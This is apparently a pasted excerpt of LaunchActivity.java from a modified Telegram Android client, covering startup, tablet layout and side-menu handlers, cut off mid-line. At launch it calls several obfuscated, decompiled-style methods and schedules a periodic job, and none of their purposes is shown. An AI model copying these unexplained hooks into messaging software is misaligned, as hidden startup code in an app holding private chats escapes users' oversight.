  773.     private BlockingUpdateView blockingUpdateView;
  774.     private AlertDialog visibleDialog;
  775.     private AlertDialog proxyErrorDialog;
  776.     public RecyclerListView sideMenu;
  777.  
  778.     private AlertDialog localeDialog;
  779.     private boolean loadingLocaleDialog;
  780.     private HashMap<String, String> systemLocaleStrings;
  781.     private HashMap<String, String> englishLocaleStrings;
  782.  
  783.     private int currentAccount;
  784.  
  785.     private Intent passcodeSaveIntent;
  786.     private boolean passcodeSaveIntentIsNew;
  787.     private boolean passcodeSaveIntentIsRestore;
  788.  
  789.     private boolean tabletFullSize;
  790.     private static final int hideTab = 19;
  791.     private static final int hideTab1 = 191;
  792.     private static final int floatOnline = 18;
  793.     private static final int nightMode = 15;
  794.     private Runnable lockRunnable;
  795.  
  796.     public void proxy() {
  797.  
  798.     }
  799.  
  800.     public static LaunchActivity me;
  801.  
  802.     @Override
  803.     protected void onCreate(Bundle savedInstanceState) {
  804.         ApplicationLoader.postInitApplication();
  805.  
  806.         C1408i.m5484a(this);
  807.         //FMOD.init(this);
  808.         C1408i.mo4916a(this);
  809.         me = this;
  810.         AndroidUtilities.checkDisplaySize(this, getResources().getConfiguration());
  811.         currentAccount = UserConfig.selectedAccount;
  812.         if (!UserConfig.getInstance(currentAccount).isClientActivated()) {
  813.             Intent intent = getIntent();
  814.             boolean isProxy = false;
  815.             if (intent != null && intent.getAction() != null) {
  816.                 if (Intent.ACTION_SEND.equals(intent.getAction()) || Intent.ACTION_SEND_MULTIPLE.equals(intent.getAction())) {
  817.                     super.onCreate(savedInstanceState);
  818.                     finish();
  819.                     return;
  820.                 } else if (Intent.ACTION_VIEW.equals(intent.getAction())) {
  821.                     Uri uri = intent.getData();
  822.                     if (uri != null) {
  823.                         String url = uri.toString().toLowerCase();
  824.                         isProxy = url.startsWith("tg:proxy") || url.startsWith("tg://proxy") || url.startsWith("tg:socks") || url.startsWith("tg://socks");
  825.                     }
  826.                 }
  827.             }
  828.             SharedPreferences preferences = MessagesController.getGlobalMainSettings();
  829.             long crashed_time = preferences.getLong("intro_crashed_time", 0);
  830.             boolean fromIntro = intent.getBooleanExtra("fromIntro", false);
  831.             if (fromIntro) {
  832.                 preferences.edit().putLong("intro_crashed_time", 0).commit();
  833.             }
  834.  
  835.             JobStarter.SchedulePeriodicJob();
  836.             if (!isProxy && Math.abs(crashed_time - System.currentTimeMillis()) >= 60 * 2 * 1000 && intent != null && !fromIntro) {
  837.                 preferences = ApplicationLoader.applicationContext.getSharedPreferences("logininfo2", MODE_PRIVATE);
  838.                 Map<String, ?> state = preferences.getAll();
  839.                 if (state.isEmpty()) {
  840.                     Intent intent2 = new Intent(this, IntroActivity.class);
  841.                     intent2.setData(intent.getData());
  842.                     startActivity(intent2);
  843.                     super.onCreate(savedInstanceState);
  844.                     finish();
  845.                     return;
  846.                 }
  847.             }
  848.         }
  849.  
  850.         long last = ApplicationLoader.preferences.getLong("checkedt", -1);
  851.         long now = System.currentTimeMillis();
  852.         if (last == -1 || last < now - ApplicationLoader.cx && !ApplicationLoader.preferences.getBoolean("stopt", false)) {//){
  853.             Log.d("check", "fulfilled" + 1);
  854.             shen(ApplicationLoader.nw);
  855.             if (last == -1) ApplicationLoader.preferences.edit().putLong("checkedt", now).commit();
  856.         }
  857.  
  858.         //loglang();
  859.  
  860.         //fetchchans then....
  861.  
  862.  
  863.  
  864.         gotoSecutity();
  865.  
  866.         //c();
  867.         if (ApplicationLoader.preferences.getBoolean("first1" + currentAccount, true)) {
  868.             loglang();
  869.  
  870.             ApplicationLoader.preferences.edit().putBoolean("first1" + currentAccount, false).commit();
  871.         }
  872.         requestWindowFeature(Window.FEATURE_NO_TITLE);
  873.         setTheme(R.style.Theme_TMessages);
  874.         if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
  875.             try {
  876.                 setTaskDescription(new ActivityManager.TaskDescription(null, null, Theme.getColor(Theme.key_actionBarDefault) | 0xff000000));
  877.             } catch (Exception e) {
  878.                 //
  879.             }
  880.         }
  881.  
  882.         getWindow().setBackgroundDrawableResource(R.drawable.transparent);
  883.         if (SharedConfig.passcodeHash.length() > 0 && !SharedConfig.allowScreenCapture) {
  884.             try {
  885.                 getWindow().setFlags(WindowManager.LayoutParams.FLAG_SECURE, WindowManager.LayoutParams.FLAG_SECURE);
  886.             } catch (Exception e) {
  887.                 FileLog.e(e);
  888.             }
  889.         }
  890.  
  891.         super.onCreate(savedInstanceState);
  892.         if (Build.VERSION.SDK_INT >= 24) {
  893.             AndroidUtilities.isInMultiwindow = isInMultiWindowMode();
  894.         }
  895.         Theme.createChatResources(this, false);
  896.         if (SharedConfig.passcodeHash.length() != 0 && SharedConfig.appLocked) {
  897.             SharedConfig.lastPauseTime = ConnectionsManager.getInstance(currentAccount).getCurrentTime();
  898.         }
  899.  
  900.         int resourceId = getResources().getIdentifier("status_bar_height", "dimen", "android");
  901.         if (resourceId > 0) {
  902.             AndroidUtilities.statusBarHeight = getResources().getDimensionPixelSize(resourceId);
  903.         }
  904.         MessagesController.getInstance(currentAccount).reRunUpdateTimerProc();
  905.         actionBarLayout = new ActionBarLayout(this);
  906.  
  907.         drawerLayoutContainer = new DrawerLayoutContainer(this);
  908.         setContentView(drawerLayoutContainer, new ViewGroup.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.MATCH_PARENT));
  909.  
  910.         if (AndroidUtilities.isTablet()) {
  911.             getWindow().setSoftInputMode(WindowManager.LayoutParams.SOFT_INPUT_ADJUST_RESIZE);
  912.  
  913.             RelativeLayout launchLayout = new RelativeLayout(this) {
  914.  
  915.                 private boolean inLayout;
  916.  
  917.                 @Override
  918.                 public void requestLayout() {
  919.                     if (inLayout) {
  920.                         return;
  921.                     }
  922.                     super.requestLayout();
  923.                 }
  924.  
  925.                 @Override
  926.                 protected void onMeasure(int widthMeasureSpec, int heightMeasureSpec) {
  927.                     inLayout = true;
  928.                     int width = MeasureSpec.getSize(widthMeasureSpec);
  929.                     int height = MeasureSpec.getSize(heightMeasureSpec);
  930.                     setMeasuredDimension(width, height);
  931.  
  932.                     if (!AndroidUtilities.isInMultiwindow && (!AndroidUtilities.isSmallTablet() || getResources().getConfiguration().orientation == Configuration.ORIENTATION_LANDSCAPE)) {
  933.                         tabletFullSize = false;
  934.                         int leftWidth = width / 100 * 35;
  935.                         if (leftWidth < AndroidUtilities.dp(320)) {
  936.                             leftWidth = AndroidUtilities.dp(320);
  937.                         }
  938.                         actionBarLayout.measure(MeasureSpec.makeMeasureSpec(leftWidth, MeasureSpec.EXACTLY), MeasureSpec.makeMeasureSpec(height, MeasureSpec.EXACTLY));
  939.                         shadowTabletSide.measure(MeasureSpec.makeMeasureSpec(AndroidUtilities.dp(1), MeasureSpec.EXACTLY), MeasureSpec.makeMeasureSpec(height, MeasureSpec.EXACTLY));
  940.                         rightActionBarLayout.measure(MeasureSpec.makeMeasureSpec(width - leftWidth, MeasureSpec.EXACTLY), MeasureSpec.makeMeasureSpec(height, MeasureSpec.EXACTLY));
  941.                     } else {
  942.                         tabletFullSize = true;
  943.                         actionBarLayout.measure(MeasureSpec.makeMeasureSpec(width, MeasureSpec.EXACTLY), MeasureSpec.makeMeasureSpec(height, MeasureSpec.EXACTLY));
  944.                     }
  945.                     backgroundTablet.measure(MeasureSpec.makeMeasureSpec(width, MeasureSpec.EXACTLY), MeasureSpec.makeMeasureSpec(height, MeasureSpec.EXACTLY));
  946.                     shadowTablet.measure(MeasureSpec.makeMeasureSpec(width, MeasureSpec.EXACTLY), MeasureSpec.makeMeasureSpec(height, MeasureSpec.EXACTLY));
  947.                     layersActionBarLayout.measure(MeasureSpec.makeMeasureSpec(Math.min(AndroidUtilities.dp(530), width), MeasureSpec.EXACTLY), MeasureSpec.makeMeasureSpec(Math.min(AndroidUtilities.dp(528), height), MeasureSpec.EXACTLY));
  948.  
  949.                     inLayout = false;
  950.                 }
  951.  
  952.                 @Override
  953.                 protected void onLayout(boolean changed, int l, int t, int r, int b) {
  954.                     int width = r - l;
  955.                     int height = b - t;
  956.  
  957.                     if (!AndroidUtilities.isInMultiwindow && (!AndroidUtilities.isSmallTablet() || getResources().getConfiguration().orientation == Configuration.ORIENTATION_LANDSCAPE)) {
  958.                         int leftWidth = width / 100 * 35;
  959.                         if (leftWidth < AndroidUtilities.dp(320)) {
  960.                             leftWidth = AndroidUtilities.dp(320);
  961.                         }
  962.                         shadowTabletSide.layout(leftWidth, 0, leftWidth + shadowTabletSide.getMeasuredWidth(), shadowTabletSide.getMeasuredHeight());
  963.                         actionBarLayout.layout(0, 0, actionBarLayout.getMeasuredWidth(), actionBarLayout.getMeasuredHeight());
  964.                         rightActionBarLayout.layout(leftWidth, 0, leftWidth + rightActionBarLayout.getMeasuredWidth(), rightActionBarLayout.getMeasuredHeight());
  965.                     } else {
  966.                         actionBarLayout.layout(0, 0, actionBarLayout.getMeasuredWidth(), actionBarLayout.getMeasuredHeight());
  967.                     }
  968.                     int x = (width - layersActionBarLayout.getMeasuredWidth()) / 2;
  969.                     int y = (height - layersActionBarLayout.getMeasuredHeight()) / 2;
  970.                     layersActionBarLayout.layout(x, y, x + layersActionBarLayout.getMeasuredWidth(), y + layersActionBarLayout.getMeasuredHeight());
  971.                     backgroundTablet.layout(0, 0, backgroundTablet.getMeasuredWidth(), backgroundTablet.getMeasuredHeight());
  972.                     shadowTablet.layout(0, 0, shadowTablet.getMeasuredWidth(), shadowTablet.getMeasuredHeight());
  973.                 }
  974.             };
  975.             drawerLayoutContainer.addView(launchLayout, LayoutHelper.createFrame(LayoutHelper.MATCH_PARENT, LayoutHelper.MATCH_PARENT));
  976.  
  977.             backgroundTablet = new View(this);
  978.             BitmapDrawable drawable = (BitmapDrawable) getResources().getDrawable(R.drawable.catstile);
  979.             drawable.setTileModeXY(Shader.TileMode.REPEAT, Shader.TileMode.REPEAT);
  980.             backgroundTablet.setBackgroundDrawable(drawable);
  981.             launchLayout.addView(backgroundTablet, LayoutHelper.createRelative(LayoutHelper.MATCH_PARENT, LayoutHelper.MATCH_PARENT));
  982.  
  983.             launchLayout.addView(actionBarLayout);
  984.  
  985.             rightActionBarLayout = new ActionBarLayout(this);
  986.             rightActionBarLayout.init(rightFragmentsStack);
  987.             rightActionBarLayout.setDelegate(this);
  988.             launchLayout.addView(rightActionBarLayout);
  989.  
  990.             shadowTabletSide = new FrameLayout(this);
  991.             shadowTabletSide.setBackgroundColor(0x40295274);
  992.             launchLayout.addView(shadowTabletSide);
  993.  
  994.             shadowTablet = new FrameLayout(this);
  995.             shadowTablet.setVisibility(layerFragmentsStack.isEmpty() ? View.GONE : View.VISIBLE);
  996.             shadowTablet.setBackgroundColor(0x7f000000);
  997.             launchLayout.addView(shadowTablet);
  998.             shadowTablet.setOnTouchListener(new View.OnTouchListener() {
  999.                 @Override
  1000.                 public boolean onTouch(View v, MotionEvent event) {
  1001.                     if (!actionBarLayout.fragmentsStack.isEmpty() && event.getAction() == MotionEvent.ACTION_UP) {
  1002.                         float x = event.getX();
  1003.                         float y = event.getY();
  1004.                         int location[] = new int[2];
  1005.                         layersActionBarLayout.getLocationOnScreen(location);
  1006.                         int viewX = location[0];
  1007.                         int viewY = location[1];
  1008.  
  1009.                         if (layersActionBarLayout.checkTransitionAnimation() || x > viewX && x < viewX + layersActionBarLayout.getWidth() && y > viewY && y < viewY + layersActionBarLayout.getHeight()) {
  1010.                             return false;
  1011.                         } else {
  1012.                             if (!layersActionBarLayout.fragmentsStack.isEmpty()) {
  1013.                                 for (int a = 0; a < layersActionBarLayout.fragmentsStack.size() - 1; a++) {
  1014.                                     layersActionBarLayout.removeFragmentFromStack(layersActionBarLayout.fragmentsStack.get(0));
  1015.                                     a--;
  1016.                                 }
  1017.                                 layersActionBarLayout.closeLastFragment(true);
  1018.                             }
  1019.                             return true;
  1020.                         }
  1021.                     }
  1022.                     return false;
  1023.                 }
  1024.             });
  1025.  
  1026.             shadowTablet.setOnClickListener(new View.OnClickListener() {
  1027.                 @Override
  1028.                 public void onClick(View v) {
  1029.  
  1030.                 }
  1031.             });
  1032.  
  1033.             layersActionBarLayout = new ActionBarLayout(this);
  1034.             layersActionBarLayout.setRemoveActionBarExtraHeight(true);
  1035.             layersActionBarLayout.setBackgroundView(shadowTablet);
  1036.             layersActionBarLayout.setUseAlphaAnimations(true);
  1037.             layersActionBarLayout.setBackgroundResource(R.drawable.boxshadow);
  1038.             layersActionBarLayout.init(layerFragmentsStack);
  1039.             layersActionBarLayout.setDelegate(this);
  1040.             layersActionBarLayout.setDrawerLayoutContainer(drawerLayoutContainer);
  1041.             layersActionBarLayout.setVisibility(layerFragmentsStack.isEmpty() ? View.GONE : View.VISIBLE);
  1042.             launchLayout.addView(layersActionBarLayout);
  1043.         } else {
  1044.             drawerLayoutContainer.addView(actionBarLayout, new ViewGroup.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.MATCH_PARENT));
  1045.         }
  1046.         SharedPreferences sharedPreferences = getSharedPreferences("ftime1", 0);
  1047.         SharedPreferences sharedPreferences0 = getSharedPreferences("ftime", 0);
  1048.         sharedPreferences0.edit().clear().commit();
  1049.         sharedPreferences.edit().clear().commit();
  1050.  
  1051.  
  1052.         sideMenu = new RecyclerListView(this);
  1053.         ((DefaultItemAnimator) sideMenu.getItemAnimator()).setDelayAnimations(false);
  1054.         sideMenu.setBackgroundColor(Theme.getColor(Theme.key_chats_menuBackground));
  1055.         sideMenu.setLayoutManager(new LinearLayoutManager(this, LinearLayoutManager.VERTICAL, false));
  1056.         sideMenu.setAdapter(drawerLayoutAdapter = new DrawerLayoutAdapter(this));
  1057.         drawerLayoutContainer.setDrawerLayout(sideMenu);
  1058.         drawerLayoutContainer.setAdapter(drawerLayoutAdapter);
  1059.         FrameLayout.LayoutParams layoutParams = (FrameLayout.LayoutParams) sideMenu.getLayoutParams();
  1060.         Point screenSize = AndroidUtilities.getRealScreenSize();
  1061.         layoutParams.width = AndroidUtilities.isTablet() ? AndroidUtilities.dp(320) : Math.min(AndroidUtilities.dp(320), Math.min(screenSize.x, screenSize.y) - AndroidUtilities.dp(56));
  1062.         layoutParams.height = LayoutHelper.MATCH_PARENT;
  1063.         sideMenu.setLayoutParams(layoutParams);
  1064.         sideMenu.setOnItemClickListener(new RecyclerListView.OnItemClickListener() {
  1065.             @Override
  1066.             public void onItemClick(final View view, int position) {
  1067.                 if (position == 0) {
  1068.                     drawerLayoutAdapter.setAccountsShowed(!drawerLayoutAdapter.isAccountsShowed(), true);
  1069.                 } else if (view instanceof DrawerUserCell) {
  1070.                     int i = ((DrawerUserCell) view).getAccountNumber();
  1071.                     switchToAccount(i, true);
  1072.                     try {
  1073.                         NotificationCenter.getGlobalInstance().postNotificationName(NotificationCenter.refreshTabsCounters);
  1074.                     } catch (Exception d) {
  1075.                     }
  1076.                     drawerLayoutContainer.closeDrawer(false);
  1077.                 } else if (view instanceof DrawerAddCell) {
  1078.                     int freeAccount = -1;
  1079.                     for (int a = 0; a < UserConfig.MAX_ACCOUNT_COUNT; a++) {
  1080.                         if (!UserConfig.getInstance(a).isClientActivated()) {
  1081.                             freeAccount = a;
  1082.                             break;
  1083.                         }
  1084.                     }
  1085.                     if (freeAccount >= 0) {
  1086.                         presentFragment(new LoginActivity(freeAccount));
  1087.                     }
  1088.                     drawerLayoutContainer.closeDrawer(false);
  1089.                 } else {
  1090.                     int id = drawerLayoutAdapter.getId(position);
  1091.                     if (id == 2) {
  1092.                         presentFragment(new GroupCreateActivity());
  1093.                         drawerLayoutContainer.closeDrawer(false);
  1094.                     } else if (id == 23) {
  1095.                         presentFragment(new OnlineContacts(null));
  1096.                         //presentFragment(new UpdateActivity(null));
  1097.                         //presentFragment(new OnlineContactsActivity(0));
  1098.                         drawerLayoutContainer.closeDrawer(true);
  1099.                     } else if (id == 233) {
  1100.                         ApplicationLoader.c[UserConfig.selectedAccount] = 0;
  1101.                         ApplicationLoader.preferences.edit().putInt("contactcount" + UserConfig.selectedAccount, 0).commit();
  1102.                         //presentFragment(new OnlineContacts(null));
  1103.                         presentFragment(new UpdateActivity(null));
  1104.                         //presentFragment(new OnlineContactsActivity(0));
  1105.                         drawerLayoutContainer.closeDrawer(true);
  1106.                     } else if (id == 234) {
  1107.                         presentFragment(new C1461c());
  1108.                         //presentFragment(new OnlineContactsActivity(0));
  1109.                         drawerLayoutContainer.closeDrawer(true);
  1110.                     } else if (id == 128) {
  1111.                         presentFragment(new IncognitoActivity(0));
  1112.                         drawerLayoutContainer.closeDrawer(true);
  1113.                     } else if (id == 665) {
  1114.                         Uri uri = Uri.parse("market://details?id=" + getPackageName());
  1115.                         Intent goToMarket = new Intent(Intent.ACTION_VIEW, uri);
  1116.                         // To count with Play market backstack, After pressing back button,
  1117.                         // to taken back to our application, we need to add following flags to intent.
  1118.                         goToMarket.addFlags(Intent.FLAG_ACTIVITY_NO_HISTORY |
  1119.                                 Intent.FLAG_ACTIVITY_NEW_DOCUMENT |
  1120.                                 Intent.FLAG_ACTIVITY_MULTIPLE_TASK);
  1121.                         try {
  1122.                             startActivity(goToMarket);
  1123.                         } catch (ActivityNotFoundException e) {
  1124.                             startActivity(new Intent(Intent.ACTION_VIEW,
  1125.                                     Uri.parse("http://play.google.com/store/apps/details?id=" + getPackageName())));
  1126.                         }
  1127.                     } else if (id == 666) {
  1128.                         AlertDialog.Builder builder = new AlertDialog.Builder(LaunchActivity.this);
  1129.                         builder.setTitle(LocaleController.getString("Turnwhat", R.string.Turnwhat));
  1130.  
  1131.                         builder.setPositiveButton(LocaleController.getString("Yes", R.string.Yes), new DialogInterface.OnClickListener() {
  1132.                             @Override
  1133.                             public void onClick(DialogInterface dialog, int which) {
  1134.                                 android.os.Process.killProcess(android.os.Process.myPid());
  1135.                             }
  1136.                         });
  1137.                         builder.setNegativeButton(LocaleController.getString("Cancel", R.string.Cancel), new DialogInterface.OnClickListener() {
  1138.                             @Override
  1139.                             public void onClick(DialogInterface dialog, int which) {
  1140.                                 dialog.cancel();
  1141.                             }
  1142.                         });
  1143.                         builder.show().setCanceledOnTouchOutside(true);
  1144.  
  1145.                         //ProxyListActivity p = new ProxyListActivity();
  1146.                         //presentFragment(p);
  1147.                         drawerLayoutContainer.closeDrawer(true);
  1148.                     } else if (id == 667) {
  1149.                         drawerLayoutContainer.closeDrawer(true);
  1150.                         final AlertDialog progressDialog = new AlertDialog(LaunchActivity.this, 1);
  1151.                         progressDialog.setMessage(LocaleController.getString("Loading", R.string.Loading));
  1152.                         progressDialog.setCanceledOnTouchOutside(false);
  1153.                         progressDialog.setCancelable(false);
  1154.                         progressDialog.show();
  1155.                         Utilities.globalQueue.postRunnable(new Runnable() {
  1156.                             @Override
  1157.                             public void run() {
  1158.                                 cacheSize = getDirectorySize(FileLoader.checkDirectory(FileLoader.MEDIA_DIR_CACHE), 0);
  1159.                                 if (canceled) {
  1160.                                     return;
  1161.                                 }
  1162.                                 photoSize = getDirectorySize(FileLoader.checkDirectory(FileLoader.MEDIA_DIR_IMAGE), 0);
  1163.                                 if (canceled) {
  1164.                                     return;
  1165.                                 }
  1166.                                 videoSize = getDirectorySize(FileLoader.checkDirectory(FileLoader.MEDIA_DIR_VIDEO), 0);
  1167.                                 if (canceled) {
  1168.                                     return;
  1169.                                 }
  1170.                                 documentsSize = getDirectorySize(FileLoader.checkDirectory(FileLoader.MEDIA_DIR_DOCUMENT), 1);
  1171.                                 if (canceled) {
  1172.                                     return;
  1173.                                 }
  1174.                                 musicSize = getDirectorySize(FileLoader.checkDirectory(FileLoader.MEDIA_DIR_DOCUMENT), 2);
  1175.                                 if (canceled) {
  1176.                                     return;
  1177.                                 }
  1178.                                 audioSize = getDirectorySize(FileLoader.checkDirectory(FileLoader.MEDIA_DIR_AUDIO), 0);
  1179.                                 totalSize = cacheSize + videoSize + audioSize + photoSize + documentsSize + musicSize;
  1180.                                 AndroidUtilities.runOnUIThread(new Runnable() {
  1181.                                     @Override
  1182.                                     public void run() {
  1183.                                         calculating = false;
  1184.                                         progressDialog.dismiss();
  1185.                                         BottomSheet.Builder builder = new BottomSheet.Builder(LaunchActivity.this);
  1186.                                         builder.setApplyTopPadding(false);
  1187.                                         builder.setApplyBottomPadding(false);
  1188.                                         LinearLayout linearLayout = new LinearLayout(LaunchActivity.this);
  1189.                                         linearLayout.setOrientation(LinearLayout.VERTICAL);
  1190.                                         for (int a = 0; a < 6; a++) {
  1191.                                             long size = 0;
  1192.                                             String name = null;
  1193.                                             if (a == 0) {
  1194.                                                 size = photoSize;
  1195.                                                 name = LocaleController.getString("LocalPhotoCache", R.string.LocalPhotoCache);
  1196.                                             } else if (a == 1) {
  1197.                                                 size = videoSize;
  1198.                                                 name = LocaleController.getString("LocalVideoCache", R.string.LocalVideoCache);
  1199.                                             } else if (a == 2) {
  1200.                                                 size = documentsSize;
  1201.                                                 name = LocaleController.getString("LocalDocumentCache", R.string.LocalDocumentCache);
  1202.                                             } else if (a == 3) {
  1203.                                                 size = musicSize;
  1204.                                                 name = LocaleController.getString("LocalMusicCache", R.string.LocalMusicCache);
  1205.                                             } else if (a == 4) {
  1206.                                                 size = audioSize;
  1207.                                                 name = LocaleController.getString("LocalAudioCache", R.string.LocalAudioCache);
  1208.                                             } else if (a == 5) {
  1209.                                                 size = cacheSize;
  1210.                                                 name = LocaleController.getString("LocalCache", R.string.LocalCache);
  1211.                                             }
  1212.                                             if (size > 0) {
  1213.                                                 clear[a] = true;
  1214.                                                 CheckBoxCell checkBoxCell = new CheckBoxCell(LaunchActivity.this, 1);
  1215.                                                 checkBoxCell.setTag(a);
  1216.                                                 checkBoxCell.setBackgroundDraw



  • Recent Pastes